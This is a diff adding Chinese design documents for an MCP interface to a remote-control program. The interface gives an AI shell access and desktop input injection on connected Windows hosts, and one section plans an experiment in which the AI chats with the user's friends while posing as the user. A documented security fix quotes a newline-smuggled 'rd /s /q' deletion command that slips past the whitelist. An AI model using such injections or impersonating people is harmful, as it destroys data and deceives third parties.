+人工核对：注入后目标机光标/焦点确实变化；审计列表出现标题「MCP远程控制」的 open/close/mouse/keyboard 条目；闲置 >300s 后旧 `session_id` 调用 → `-32002`。编译由你以 VS2019（MSBuild v143）完成；我侧仅代码审查（工具集 v142，无法在此构建）。
+
+---
+
+## 16. 涉及文件
+
+- `server/2015Remote/McpServer.h` / `.cpp`（会话状态机 + schema + handler + 分派）
+- `server/2015Remote/McpSettingsDlg.h` / `.cpp`（新开关）
+- `server/2015Remote/2015RemoteDlg.cpp`（启动读配置 + `OfflineProc` 清理钩子）
+- `common/commands.h`（**只读参照**：`COMMAND_SCREEN_SPY`/`COMMAND_SCREEN_CONTROL`/`MSG64`/`COMMAND_SCREEN_PREVIEW_REQ` 等，无需改）
+- `server/2015Remote/WebService.cpp`（**复用参照**：`HandleMouse`/`HandleKey`/`GetScreenContext`）
+- `lang/{en_US,zh_TW}.ini`（可选，GBK 工具改）
+
+---
+
+## 17. 实验案例：AI 代聊（chat-on-behalf）
+
+> 目标：以「AI 通过远程桌面，在聊天软件里代表你与朋友聊天」为第一个实验用例，验证整条「看 → 想 → 动 → 确认」链路。低风险、目标清晰、信号明确（有新消息 / 已发出）。
+
+### 17.1 闭环
+
+1. `list_windows` 找到聊天窗口（`hwnd`/`title`）。
+2. `remote_focus_window`（或 `remote_mouse` 点击输入框）聚焦聊天窗。
+3. 抓**聊天窗口**高分辨率截图 → 视觉模型读出朋友最新消息。
+4. 模型生成回复。
+5. `remote_clipboard` 把回复写入远程剪贴板（UTF-8）。
+6. `remote_keyboard` 注入 `Ctrl+V`（粘贴）+ `Enter`（发送）。
+7. 再截图确认已发出，等待下一条。
+
+### 17.2 两个已验证的关键依赖
+
+- **中文输入（走剪贴板，已解决）**：见 §6.4。`COMMAND_SCREEN_SET_CLIPBOARD`(25) 为 ANSI/GBK（`CF_TEXT`），中文可经 `ToAnsi(utf8, 936)` 直发跑通 MVP；要支持 emoji/完整 Unicode，复用 `COMMAND_C2C_TEXT`(90) 的 UTF-8→`CF_UNICODETEXT` 逻辑或新增 UTF-8 变体。客户端 `KernelManager.cpp:1590` 已内置「设剪贴板后自动模拟 Ctrl+V」。
+- **读消息（需窗口抓屏）**：`get_screenshot` 抓整屏，缩到 1280 后聊天文字过小、OCR 易错。用 `COMMAND_SCREEN_WINDOW`(153) 按窗口抓取聊天窗（更高有效分辨率），或对该区域用更高 `max_width`。
+
+### 17.3 使能清单（相对现有代码的增量）
+
+| 能力 | 状态 | 复用点 |
+|---|---|---|
+| `get_screenshot` / `list_windows` | ✅ 已有 | — |
+| 剪贴板写入 | ⚠️ 客户端已有（GBK 直发可跑通），缺 MCP 封装 | `COMMAND_SCREEN_SET_CLIPBOARD`(25) / `COMMAND_C2C_TEXT`(90) |
+| `remote_open` / `remote_close`（屏幕子连接） | ❌ 待建 | `COMMAND_SCREEN_SPY`(16) 建立逻辑 `2015RemoteDlg.cpp:8443` |
+| `remote_mouse` / `remote_keyboard` | ❌ 待建 | `WebService::HandleMouse/HandleKey` |
+| `remote_focus_window` | ❌ 待建 | `COMMAND_SCREEN_WINDOW`(153) |
+| `remote_clipboard` | ❌ 待建 | 见 §6.4 |
+
+### 17.4 最小 MVP 实施顺序（按依赖）
+
+1. `remote_open` / `remote_close`（屏幕子连接 + `TOKEN_BITMAPINFO` 取分辨率）。
+2. `remote_keyboard`（先只做 `key_press`/`type` + 修饰键，够发 `Ctrl+V`/`Enter`）。
+3. `remote_mouse`（`click`/`move`，用于点输入框；聚焦可用点击替代）。
+4. `remote_clipboard`（先 GBK 直发跑通，再上 UTF-8 变体）。
+5. `remote_focus_window`（或用步骤 3 的点击替代，二选一即可跑通）。
+
+> 1→2→3 已足以发出一条消息（点输入框 + 粘贴 + 回车）；4 是中文关键路径；5 是体验优化，可后置。
+
+### 17.5 实验注意事项
+
+- 目标机必须**已登录且未锁屏**（锁屏/UAC 安全桌面下抓屏与注入均失效，§12.1）。
+- 「代聊」会让朋友误以为是真人在聊——实验前建议告知对方；避免让 AI 在承诺/隐私等话术上自由发挥（§9.4 的人工确认原则同样适用）。
+- 新消息检测先用「轮询截图」即可（MVP 接受），后续用未读角标/窗口通知优化（§17.6）。
+
+### 17.6 后续优化（非 MVP）
+
+- 新消息触发：从「定时截图」改为「未读角标/窗口通知驱动」，大幅省 token。
+- 窗口定向抓屏（`COMMAND_SCREEN_WINDOW`）并入 `remote_screenshot`。
+- 会话历史：AI 保留最近几轮聊天上下文，避免回复脱节（宿主侧滚动缓冲，§3）。
+
+---
+
+## 参考（行业最佳实践）
+
+- Anthropic《Best practices for computer and browser use with Claude》— https://claude.com/fr/blog/best-practices-for-computer-and-browser-use-with-claude
+- Anthropic 参考实现 `computer.py`（动作枚举、缩放、坐标换算）— https://github.com/anthropics/claude-quickstarts/blob/main/computer-use-demo/computer_use_demo/tools/computer.py
+- 《How Claude Computer Use Works: Architecture Internals》— https://callsphere.ai/blog/how-claude-computer-use-works-architecture-internals

docs/Mcp_Terminal_Design.md

@@ -0,0 +1,471 @@
+# MCP 远程命令与持久终端 — 设计与实现
+
+> 本文档覆盖 MCP 侧两类**命令执行**能力：
+> 1. **一次性命令 `exec_command`**（P3a）—— 每次新建一个 shell、跑一条命令、读完即关。
+> 2. **持久终端 `terminal_open` / `terminal_exec` / `terminal_close`**（P4）—— 同一主机**一个** shell 会话，跨命令保持 cwd 与环境变量。
+>
+> 阅读顺序建议：先读 `docs/Mcp_Design.md`（Phase 1：HTTP 协议、token 校验、配置、`list_online_hosts`）与 `docs/Mcp_Phase2_Design.md`（模式 A/A′/B、工具路线图、P2a–P3a 概要），再读本文档的**实现级细节**。本文档是后续人员 / 大模型接手与排查问题的主参考。
+
+---
+
+## 1. 术语与总览
+
+| 术语 | 含义 |
+|---|---|
+| **一次性命令** | `exec_command`：无状态，每次独立 shell，命令结束即 `CancelIO` 关闭子链接。 |
+| **持久终端** | `terminal_open`→`terminal_exec`×N→`terminal_close`：有状态，cwd/env 跨命令保持。 |
+| **哨兵（sentinel）** | 包装在命令尾部的一段随机标记，用于在输出流里定位「命令真实退出码」并截断输出。 |
+| **子链接（sub-connection / `context*`）** | 客户端为 shell 建立的独立网络连接，`context` 是其服务端句柄。 |
+| **主连接（`FindMainContext`）** | 客户端与控制端的常驻长连接，用于下发 `COMMAND_*`。 |
+| **isPty** | `true`=ConPTY（UTF-8，`cp=CP_UTF8`）；`false`=老 cmd 管道（GBK，`cp=936`）。 |
+
+两类能力**共享同一套底层机制**（终端链路、编码、哨兵、状态机 map、审计），区别只在**生命周期**（一次性 vs 保持）与**安全门**（白名单 vs 无白名单 + 独立开关）。这也是为什么它们会互相排他（见 §6.3）。
+
+---
+
+## 2. 共享基础设施
+
+### 2.1 客户端终端链路（两种能力通用）
+
+无论一次性还是持久，shell 的建立过程完全相同：
+
+```
+服务端                    客户端
+  │  COMMAND_SHELL（主连接） ──►  客户端创建 shell 子连接
+  │  ◄── TOKEN_SHELL_START 或 TOKEN_TERMINAL_START（子连接）
+  │         ↓ MessageHandle 顶部判定 IsTermPending → 交给 RegisterTerminalContext 接管
+  │  COMMAND_NEXT（+ 若 PTY 先发 CMD_TERMINAL_RESIZE 80x24）──►  客户端启动 shell 输出回流
+  │  ◄── 持续 shell 输出（TOKEN_TERMINAL_DATA 之类，经 IsTerminalContext 路由到 OnTerminalData）
+  │  ◄── TOKEN_TERMINAL_CLOSE（shell 进程退出）→ OnTerminalClosed
+```
+
+关键点：
+- **`COMMAND_NEXT` 不能漏发**——客户端读线程靠它才启动输出回流，漏发会导致 shell 在跑但输出永不送回（`RegisterTerminalContext` 内的注释明确强调）。
+- **PTY 需先告知初始尺寸 80×24**，否则 TUI 尺寸错乱。
+- `TOKEN_SHELL_START` 与 `TOKEN_TERMINAL_START` 二选一：老 `ShellManager`（cmd 管道）回前者，ConPTY 回后者；服务端在 `MessageHandle` 里据此判定 `isPty`。
+
+### 2.2 编码
+
+| isPty | 底层 | 服务端 cp |
+|---|---|---|
+| `true` | ConPTY | `CP_UTF8` |
+| `false` | 老 cmd 管道 | `936`（GBK） |
+
+- **发送方向**：命令/哨兵行先 UTF-8 组好，再 `ToAnsi(line, cp)` 转成客户端编码，追加 `"\r\n"`。
+- **接收方向**：原始字节 `ToUtf8(raw, cp)` 转回 UTF-8。
+- 哨兵是纯 ASCII，两种编码下字节一致，编码无关。
+
+### 2.3 哨兵机制
+
+命令被包装成一行复合命令：
+
+```
+[@echo off & ] <cmd> 2>&1 && echo __MCP_DONE_<nonce>__0 || echo __MCP_DONE_<nonce>__1
+```
+
+- `@echo off & ` **仅 ConPTY 需要**（抑制 ConPTY 把输入整行回显）。老 `ShellManager` 已自行跳过回显，加 `@echo off` 反而破坏它的回显跳过逻辑。
+- `&&` / `||` 控制操作符取**命令真实退出码**（`%errorlevel%` 在复合句中解析期展开、已过期，故不能用 `%errorlevel%`）。
+- `<nonce>` 为 8 位随机 hex（`GenerateRandomToken().substr(0,8)`），保证命令真实输出不可能恰好包含完整哨兵串。
+- `2>&1` 让 stderr 也走哨兵链，stdout/stderr 都能被捕获且退出码正确。
+
+**`FindSentinel`（检测）** 用 `rfind` **从后往前**找，且要求哨兵在**行首**（`p==0` 或前一个字节是 `\n`），后跟 `0` 或 `1`：
+
+```cpp
+size_t from = npos;
+while (true) {
+    size_t p = s.rfind(marker, from);
+    bool lineStart = (p == 0) || (s[p-1] == '\n');
+    if (lineStart && s[p+marker.size()] 是 '0' 或 '1') { exitCode=...; pos=p; return true; }
+    from = p - 1;
+}
+```
+
+为什么要「从后往前 + 行首」：ConPTY 会把**整条命令行回显**进输出流，回显里的哨兵字样嵌在 `&& echo ... || echo ...` 中间、前面是空格（非行首）。若用 `rfind` 直取，回显包先于真实输出到达时会命中回显里的 `__1` 提前结束、截断真实输出。行首校验能排除回显行。老 `ShellManager` 无回显，输出里只有真实哨兵（仍在行首），逻辑一致。
+
+### 2.4 输出清洗管线
+
+从原始字节到返回 `stdout` 字符串，固定五步（`CleanTerminalOutput`，一次性命令为内联等价逻辑）：
+
+```
+raw 字节
+  → ToUtf8(raw, cp)                      按 2.2 编码解码
+  → StripAnsi(...)                       剥 CSI/OSC/单字节 ESC，去彩色码
+  → CRLF → LF                            "\r\n" 归一为 "\n"
+  → StripEchoedCommand(stdout, sentLine) 剔 ConPTY 输入行回显（见下）
+  → TrimRight(...)                       去尾部空白
+```
+
+**`StripEchoedCommand`（回显剔除）**：ConPTY 的 `ENABLE_ECHO_INPUT` 会在 `@echo off` 生效**之前**把整条输入命令行回显进输出流。修复方法是在**服务端**把「刚发送的、含唯一 nonce 的完整命令行」（`SendTerminalCommandLine` 的返回值）从输出里整行 `find` + 剔除：
+
+```cpp
+static std::string StripEchoedCommand(const std::string& s, const std::string& echoedLine) {
+    if (echoedLine.empty() || s.empty()) return s;
+    size_t p = s.find(echoedLine);
+    if (p == npos) return s;
+    size_t q = p + echoedLine.size();
+    if (q < s.size() && s[q] == '\n') ++q;   // CRLF 已归一为 \n
+    return s.substr(0, p) + s.substr(q);
+}
+```
+
+- 因 `echoedLine` 含随机 nonce，命令真实输出不可能恰好相同 → 不会误删合法输出。
+- 老 `ShellManager` 无回显，`find` 不到该行 → 无操作，安全。
+
+### 2.5 状态机与互斥（两类能力共用）
+
+```cpp
+struct TermSession {
+    bool      started;      // false=已发 COMMAND_SHELL 待 START；true=已接管
+    context*  subCtx;       // shell 子连接上下文
+    bool      isPty;        // ConPTY(UTF-8) / cmd 管道(GBK)
+    std::string command;    // 原始 UTF-8 命令（审计用）
+    std::string nonce;      // 哨兵随机串
+    std::vector<BYTE> data; // 收集的原始 shell 输出
+    size_t    sentPos;      // 哨兵在 data 中的位置
+    int       exitCode;     // 0/1/-1
+    bool      done;         // 哨兵命中
+    bool      closed;       // TOKEN_TERMINAL_CLOSE（进程退出）
+    // ── 以下为持久终端新增 ──
+    std::string sessionId;  // 持久会话 token（一次性 exec 为空）
+    bool      persistent;   // 是否持久会话
+    bool      busy;         // 一条命令在飞（terminal_exec 复位 → WaitTermCommand 返回）
+    time_t    lastActiveAt; // idle 回收用（秒）
+};
+
+std::mutex                    m_TermMutex;             // 保护下面两个 map
+std::condition_variable       m_TermCv;
+std::map<uint64_t, TermSession>  m_TermSessions;       // device_id → 会话
+std::map<context*, uint64_t>     m_TermContextToDevice; // subCtx → device_id（顶部路由）
+```
+
+- `m_TermContextToDevice` 是**反向索引**：`MessageHandle` 顶部用 `IsTerminalContext(subCtx)` 判定「这个子链接的输出是否该路由到 MCP 的 `OnTerminalData`，而不是打开 MFC 终端对话框」。
+- `httplib` 默认多线程处理请求 → **多个 `tools/call` 会并发**。所有会话状态都靠 `m_TermMutex` + `busy` 串行化，**不要假定请求串行**。
+
+---
+
+## 3. 一次性命令 `exec_command`
+
+### 3.1 安全门（顺序）
+
+```
+ParseHostIdArg           → -32602 参数非法
+FindMainContext          → -32002 主机不存在/离线
+clientType==LNX/MAC      → -32005 仅 Windows
+command 为空              → -32602
+mcp.IsReadonly()         → -32006 只读模式默认开，需 McpReadonly=0
+含 &|<>^ 五元字符         → -32008 防注入绕过白名单
+含控制字符（\r\n 等 <0x20） → -32008 防换行拆分绕过白名单
+白名单前缀校验            → -32007 不在白名单
+```
+
+- **白名单**：`IsCommandAllowed` 做「trim + ASCII 小写后前缀匹配」，且前缀后须为空/空格/制表符（防 `dirx` 误配 `dir`）。配置为空时回落到内置 `kDefaultCmdWhitelist`：
+  ```
+  dir,type,cd,chdir,ver,hostname,whoami,where,tasklist,systeminfo,ipconfig,netstat,
+  path,set,find,findstr,reg query,sc query,
+  ping,tracert,nslookup,getmac,driverquery,query,gpresult,
+  arp -a,route print,schtasks /query
+  ```
+- **元字符门 `&|<>^`** 是**安全门**（拒绝 shell 注入/命令拼接），比持久终端的 `&|` 更严。
+- **控制字符门**：同时拒绝所有 `<0x20` 的控制字符（`\r`/`\n` 等）。否则 `dir \n rd /s /q ...` 这种带内嵌换行的命令会通过「前缀 `dir` + 空格」的白名单校验，却在 `cmd.exe` 里被换行拆成两条独立命令、执行任意后续行——彻底绕过只读白名单。这是 2026-08-24 独立审查发现并修复的**安全漏洞**。
+
+### 3.2 流程
+
+```
+BeginTermPending(devId, command, nonce)   → false 则 -32003（该 host 已有终端会话）
+ctx->Send2Client(COMMAND_SHELL)            → 失败 ClearTermPending + -32004
+WaitTerminalReady(devId, subCtx, isPty, timeoutMs)
+                                           → 超时 -32001（内部已自清理）
+组哨兵行 Send2Client                        （见 §2.3）
+WaitTerminalDone(devId, raw, exitCode, closed, timeoutMs)
+                                           → 超时 -32001（内部已自清理 + 调用方 CancelIO）
+subCtx->CancelIO()                         ← 一次性：读完即关子链接，结束 shell
+清洗输出（§2.4）
+审计：PostMessageA(WM_SHOWERRORMSG, ..., "MCP命令执行")
+返回 { stdout, exit_code }
+```
+
+### 3.3 `WaitTerminalDone` 三态（一次性专用）
+
+- **哨兵命中（done）**：`out` = `data[0..sentPos)`（截断到哨兵前），`exitCode=0/1`，**擦除会话+路由**，返回 true。
+- **进程退出（closed）**：`out` = 全部 `data`（无哨兵），`exitCode=-1`，擦除会话+路由，返回 true。
+- **超时**：擦除会话+路由，返回 false（调用方 `CancelIO`）。
+
+---
+
+## 4. 持久终端 `terminal_open` / `terminal_exec` / `terminal_close`
+
+### 4.1 工具契约
+
+| 工具 | 入参（required） | 出参 |
+|---|---|---|
+| `terminal_open` | `id`（+`timeout_ms`） | `session_id`(32hex)、`is_pty`(bool) |
+| `terminal_exec` | `id`、`session_id`、`command`（+`timeout_ms`） | `stdout`、`exit_code` |
+| `terminal_close` | `id`、`session_id` | `closed`(bool，恒 true) |
+
+`session_id` 由服务端 `GenerateRandomToken()` 生成（32 hex / 128 bit）。
+
+### 4.2 共享前置 `ResolveTerminalSessionHost`
+
+`terminal_open` / `terminal_exec` 复用（`terminal_close` 为幂等内联版，见 §4.5）：
+
+```
+IsTerminalEnabled() && !IsReadonly()  → -32006（需 McpTerminal=1 且 McpReadonly=0）
+ParseHostIdArg                          → -32602
+FindMainContext                         → -32002 主机不存在/离线
+clientType==LNX/MAC                     → -32005 仅 Windows
+```
+
+### 4.3 `terminal_open`
+
+```
+SweepIdleTerminals(300)                 ← 先回收闲置会话
+ResolveTerminalSessionHost
+sessionId = GenerateRandomToken()
+BeginTermOpen(devId, sessionId)         → false 则 -32003（单设备单终端）
+ctx->Send2Client(COMMAND_SHELL)          → 失败 ClearTermPending + -32004
+WaitTerminalReady(...)                   → 超时 -32001（自清理）
+审计 "term-open"
+返回 { session_id, is_pty }
+```
+
+**关键**：`WaitTerminalReady` 成功后**不擦除会话**（与一次性相反）——会话要留给后续 `terminal_exec`。此时 `started=true`、`busy=false`，shell 空闲运行。
+
+### 4.4 `terminal_exec`
+
+```
+SweepIdleTerminals(300)
+ResolveTerminalSessionHost
+session_id 为空            → -32602
+command 为空               → -32602
+command 含 & 或 |          → -32008（正确性门，见 §4.6）
+nonce = 随机 8 hex
+BeginTermCommand(devId, sessionId, command, nonce, subCtx, isPty)
+                           → false 则 -32002（不存在/不匹配/未就绪/忙碌/已关）
+sentLine = SendTerminalCommandLine(subCtx, isPty, command, nonce)
+WaitTermCommand(devId, raw, exitCode, closed, timeoutMs)
+                           → 超时：subCtx->CancelIO() + -32001
+                           → closed：subCtx->CancelIO()（会话已被清理，仅对称无害）
+stdoutStr = CleanTerminalOutput(raw, cp, sentLine)
+审计 "term-exec [sessionId]: command"
+返回 { stdout, exit_code }
+```
+
+**`WaitTermCommand` 三态（持久专用，与一次性不同）**：
+
+- **哨兵命中（done）**：`busy=false`、刷新 `lastActiveAt`、`out` 截到 `sentPos`、**保留会话**，返回 true。← 这是「持久」的核心：命令完成后 shell 不关。
+- **进程退出（closed）**：`out`=全部 `data`、`exitCode=-1`、**擦除会话+路由**，返回 true。
+- **超时**：擦除会话+路由，返回 false（调用方 `CancelIO`）。
+
+### 4.5 `terminal_close`
+
+```
+SweepIdleTerminals(300)
+IsTerminalEnabled() && !IsReadonly()  → -32006
+ParseHostIdArg                          → -32602
+session_id 为空                          → -32602
+CloseTermSession(devId, sessionId)
+    r==2（sessionId 不匹配）             → -32002（防拼错静默泄漏真会话）
+审计 "term-close"
+返回 { closed: true }
+```
+
+`CloseTermSession` 返回值语义：**0**=已关闭；**1**=会话不存在（幂等，仍返回 `{closed:true}`）；**2**=sessionId 不匹配（报错）。
+
+### 4.6 正确性门 `&|`（非安全门）
+
+`terminal_exec` **拒绝含 `&` 或 `|` 的命令**（`find_first_of("&|")`，含 `&&`/`||`/`|`），报 `-32008`。原因：哨兵包装 `cmd 2>&1 && echo ... || echo ...` 假定命令是「扁平」的，命令内含 `&`/`|` 会与包装的控制操作符合流、导致退出码失真/输出归属不清。
+
+- 这是**正确性限制，不是白名单**——持久终端本就不设白名单。
+- 同样拒绝 `<0x20` 的控制字符（`\r`/`\n`）：换行会把命令拆成多行、只有末行被哨兵包装，导致退出码与输出归属失真。
+- `> < ^`（重定向 / 转义）**允许**：不破坏哨兵链。AI 把链式/管道命令拆成多条 `terminal_exec` 调用即可（cwd/env 保持，等价）。
+
+对比：一次性 `exec_command` 因有白名单，其元字符门更严（`&|<>^` 五元字符全拒，§3.1）。
+
+---
+
+## 5. 状态机方法明细
+
+### 5.1 一次性命令专用
+
+| 方法 | 作用 |
+|---|---|
+| `BeginTermPending(devId, cmd, nonce)` | 锁内登记会话；已有会话则 false（单设备单终端）。 |
+| `WaitTerminalReady(devId, subCtx, isPty, timeout)` | 等 `started`；超时**擦除**并返回 false。成功输出 `subCtx`/`isPty`，**不擦**。 |
+| `WaitTerminalDone(...)` | 等 `done||closed`；三态见 §3.3。 |
+| `ClearTermPending(devId)` | 发送失败等提前退出路径的清理。 |
+| `IsTermPending(devId)` | `MessageHandle` 判定是否有待接管的终端会话。 |
+| `RegisterTerminalContext(devId, subCtx, isPty)` | 子连接就绪接管：置 `started/subCtx/isPty`、登记反向索引、发 `COMMAND_NEXT`(+PTY resize)、`notify_all`。 |
+| `IsTerminalContext(subCtx)` | `MessageHandle` 顶部路由判定。 |
+| `OnTerminalData(subCtx, data, len)` | 追加输出、`FindSentinel` 命中置 `done` + `notify`；`done||closed` 时忽略迟到数据。 |
+| `OnTerminalClosed(subCtx)` | 置 `closed`；空闲持久会话直接擦；`notify_all` 唤醒 busy 等待线程。 |
+
+### 5.2 持久终端专用
+
+| 方法 | 作用 |
+|---|---|
+| `BeginTermOpen(devId, sessionId)` | 锁内建持久会话（`persistent=true`、`lastActiveAt=now`）；已有会话 false。 |
+| `BeginTermCommand(devId, sid, cmd, nonce, subCtx, isPty)` | 锁内校验「persistent && sid 匹配 && started && !busy && !closed」→ 置 `busy=true`、**原子复位** `data/sentPos/exitCode/done/closed`、更新 `command/nonce/lastActiveAt`。 |
+| `WaitTermCommand(...)` | 等 `done||closed`；三态见 §4.4。 |
+| `CloseTermSession(devId, sid)` | 不存在→1；sid 不匹配→2；`busy` 时仅置 `closed`+notify（交等待线程清理，防双重擦除）；非 busy 直接擦+锁外 `CancelIO`。 |
+| `SweepIdleTerminals(idleTimeoutSec)` | 回收 `persistent && !busy && difftime(now,lastActiveAt)>idle` 的会话；收集后锁外 `CancelIO`。 |
+
+### 5.3 `OnTerminalClosed` 的泄漏修复
+
+`OnTerminalClosed` 有**两个入口**：
+
+1. `MessageHandle` 的 `TOKEN_TERMINAL_CLOSE` 分支（客户端 shell 优雅退出时发 token）。
+2. `OfflineProc`（`2015RemoteDlg.cpp`）——连接**骤然断开**（网络断/客户端崩溃，无 token）时，与 `WebService().OnTerminalClosed` 并列调用 `McpServer().OnTerminalClosed`。此入口是 2026-08-24 独立审查发现缺失并补齐的：否则骤断的持久终端会话会在 `m_TermSessions`/`m_TermContextToDevice` 里留悬空 `subCtx`，连接池复用地地址后会误路由新连接、甚至 `CancelIO` 掉无关连接。
+
+shell 进程退出时，若是一个**空闲持久会话**（`persistent && !busy && started`），没有等待线程会清理它，会泄漏死 `subCtx`。故：
+
+```cpp
+s.closed = true;
+if (s.persistent && !s.busy && s.started) {
+    m_TermContextToDevice.erase(subCtx);   // 空闲持久会话：直接擦（无需 CancelIO，已死）
+    m_TermSessions.erase(sit);
+}
+m_TermCv.notify_all();   // busy 场景唤醒等待线程由其清理；一次性 exec 路径不变
+```
+
+---
+
+## 6. 并发模型与不变量
+
+### 6.1 关键不变量
+
+- **`CancelIO` 一律在 `m_TermMutex` 之外**（所有路径：`BuildExecCommand`、`BuildTerminalExec`、`CloseTermSession`、`SweepIdleTerminals`）。这是硬约束——`CancelIO` 可能阻塞/回调，锁内调用会死锁。
+- **`wait_for` 期间不持有会被他人擦除的迭代器**：等待线程（`WaitTermCommand`）持 `it`，但**只有它自己**会在超时/closed 路径擦除该会话；`terminal_close`/`sweep` 因 `busy` 标志而**不会**擦除「正在等待的命令」的会话。这就是 `busy` 标志的核心作用。
+- **单设备单终端**：`terminal_*` 与 `exec_command` 因**共享 `m_TermSessions`** 而互斥（双向 `-32003`）。`BeginTermPending` 与 `BeginTermOpen` 都做「已有会话则 false」。
+
+### 6.2 `busy` 标志生命周期
+
+```
+terminal_exec:  BeginTermCommand 置 busy=true
+                Send2Client
+                WaitTermCommand 返回时：
+                  done 路径   → busy=false（保留会话）
+                  closed 路径 → 会话被擦除
+                  超时路径    → 会话被擦除
+terminal_close（会话忙时）→ 仅置 closed=true + notify，不擦，交等待线程清理
+```
+
+### 6.3 互斥矩阵
+
+| | `exec_command` | `terminal_*` | `list_files`/`get_screenshot` 等 |
+|---|---|---|---|
+| `exec_command` | 互斥（-32003） | 互斥（-32003） | 无关（各用 `m_Pending`） |
+| `terminal_*` | 互斥 | 单设备单终端 | 无关 |
+
+> Web 终端与 MCP 终端各用独立 map，理论上可同设备并存（既有现象，非本次范围）。
+
+### 6.4 idle 回收语义
+
+`SweepIdleTerminals(300)`：`lastActiveAt` 在 `BeginTermOpen` / `BeginTermCommand` **（命令开始时）**更新，**命令完成后不刷新**。因此「两次命令间隔 < 300s」的活跃会话安全；「一次长命令 + 长时间无新命令」的会话会在最后一次命令开始 300s 后被回收。回收是非惰性的——每次 `terminal_*` 入口先 sweep，所以空闲会话不会在无请求时被后台主动关闭（但也不占后台定时器资源）。用 `difftime` 比较防时钟回拨下溢。
+
+---
+
+## 7. 安全模型
+
+| 维度 | `exec_command` | 持久终端 |
+|---|---|---|
+| 开关 | `McpReadonly=0` | `McpTerminal=1` **且** `McpReadonly=0`（默认 `McpTerminal=0`） |
+| 白名单 | 有（内置/自定义前缀白名单） | **无**（完整 shell，可写命令、重定向、改环境） |
+| 元字符门 | `&|<>^` + 控制字符全拒（安全门） | `&|` + 换行拒（正确性门） |
+| 审计 | `WM_SHOWERRORMSG` 标题「MCP命令执行」 | 标题「MCP持久终端」（open/exec/close 各一条） |
+| 生命周期 | 命令结束即关 | 会话保持，闲置 300s 回收，`terminal_close` 显式关 |
+| 会话隔离 | 单设备单终端 | 单设备单终端 + `session_id` 校验防串用 |
+
+审计实现：`PostMessageA(WM_SHOWERRORMSG, new CString(...), new CString(_TR("...标题...")))` → 进入服务端 `m_MessageLog`，`get_audit_log` 可查。审计不可关闭。
+
+---
+
+## 8. 配置项
+
+| 键 | 默认 | 说明 |
+|---|---|---|
+| `McpEnabled` | 0 | MCP 总开关 |
+| `McpPort` | 6544 | 监听端口 |
+| `McpBind` | 127.0.0.1 | 绑定地址（默认仅回环） |
+| `McpToken` | （空→运行时兜底） | Bearer token |
+| `McpReadonly` | 1 | 只读模式（禁 `exec_command` 与持久终端） |
+| `McpCmdWhitelist` | （空→内置白名单） | `exec_command` 白名单，逗号分隔 |
+| `McpTerminal` | 0 | 持久终端开关（要求 `McpReadonly=0`） |
+
+**存储位置**：Release 版存**注册表** `HKCU\Software\YAMA\settings`（**不是** `settings.ini`；`settings.ini` 仅 Debug 版读取）。改动需**重启程序**生效。
+
+**启动读取**（`2015RemoteDlg.cpp`）：
+```cpp
+McpServer().SetReadonly(THIS_CFG.GetInt("settings", "McpReadonly", 1) != 0);
+McpServer().SetCmdWhitelist(THIS_CFG.GetStr("settings", "McpCmdWhitelist", ""));
+McpServer().SetTerminalEnabled(THIS_CFG.GetInt("settings", "McpTerminal", 0) != 0);
+```
+
+**工具可见性**：`terminal_*` 三个工具在 `tools/list` 里**仅在** `IsTerminalEnabled() && !IsReadonly()` 时出现（门控在 `BuildToolsListResult`）。故默认配置下 `tools/list` 看不到它们。
+
+---
+
+## 9. 错误码
+
+| 码 | 含义 | 触发点 |
+|---|---|---|
+| `-32001` | 超时 | `WaitTerminalReady`/`WaitTermCommand`/`WaitPending` 等超时 |
+| `-32002` | 主机/会话不存在 | `FindMainContext` 失败、`session_id` 不匹配/未就绪/已关 |
+| `-32003` | 设备忙 | 单设备单终端冲突、同 host 已有挂起请求 |
+| `-32004` | 发送失败 | `Send2Client` 失败 |
+| `-32005` | 非 Windows | LNX/MAC 客户端 |
+| `-32006` | 已禁用/只读 | `IsReadonly()` 或 `!IsTerminalEnabled()` |
+| `-32007` | 白名单拒绝 | `IsCommandAllowed` false |
+| `-32008` | 含禁用字符 | `exec_command` 的 `&|<>^`；`terminal_exec` 的 `&|` |
+| `-32602` | 参数非法 | `ParseHostIdArg` 失败、缺 required 参数 |
+| `-32700` | JSON 解析错误 | 请求体非合法 JSON-RPC |
+
+---
+
+## 10. 排查指南（供后续人员/大模型）
+
+### 10.1 `exec_command` 返回 `-32001` 超时
+
+- 先看是不是**目标机环境问题**而非代码 bug：`nslookup`/`where` 在部分机器会因 DNS/文件系统异常稳定超时（见项目记忆）。裸 `nslookup <host>` 卡默认重试 20~40s > MCP 超时；`where cmd.exe` 在特定机器卡 PATH 解析。
+- 服务端行为正确：超时返回 `-32001` 并清理终端会话，不挂起/崩溃。
+
+### 10.2 `terminal_*` 在 `tools/list` 里看不到
+
+- 检查 `McpTerminal=1` **且** `McpReadonly=0`。任一不满足，工具不出现且调用返回 `-32006`。
+- 改配置后需**重启程序**（注册表配置启动时读）。
+
+### 10.3 `terminal_exec` 返回 `-32002`
+
+- 会话已被回收（闲置 >300s）、shell 已退出、或 `session_id` 拼错。重新 `terminal_open`。
+- `terminal_close` 的 `-32002` 特指 **session_id 不匹配**（防串用）。
+
+### 10.4 `-32003` 设备忙
+
+- 单设备单终端：同 host 已有终端会话（持久或一次性）在飞。等它结束或 `terminal_close`。
+- 紧接 `terminal_close`（会话 busy 时）后立刻 `terminal_open` 可能偶发 `-32003`：busy 会话的关闭是「标记 closed + 交等待线程清理」，清理完成前有极短窗口。重试一次即可，非死锁。
+
+### 10.5 stdout 里出现命令本身 / 哨兵
+
+- 命令本身回显 = ConPTY 输入回显，已由 `StripEchoedCommand` 服务端剔除（§2.4）。若仍出现，检查是否该行因编码（非 PTY 老管道的 GBK）与 `echoedLine` 字节不一致而 `find` 不到——老管道本应无回显。
+- 哨兵 `__MCP_DONE_...` 出现 = 哨兵截断/清洗异常，通常意味着命令含 `&|` 破坏了控制操作符链（持久终端会提前 `-32008` 拒绝，一次性会 `-32008` 拒绝五元字符）。
+
+### 10.6 中文/乱码
+
+- 输出乱码：检查 `isPty` 与 `cp` 是否匹配（PTY=UTF-8，老管道=GBK）。
+- **`get_audit_log` 中文正确**：`BuildGetAuditLog` 用 `ToUtf8(type/time/msg, 936)` 把 GBK 转 UTF-8，jsoncpp 输出 `\uXXXX` 转义，客户端解析后中文正常（已实测 `MCP持久终端`/`MCP命令执行`/`操作成功`/`主机上线` 等均无乱码）。
+
+### 10.7 会话泄漏 / 子链接不关
+
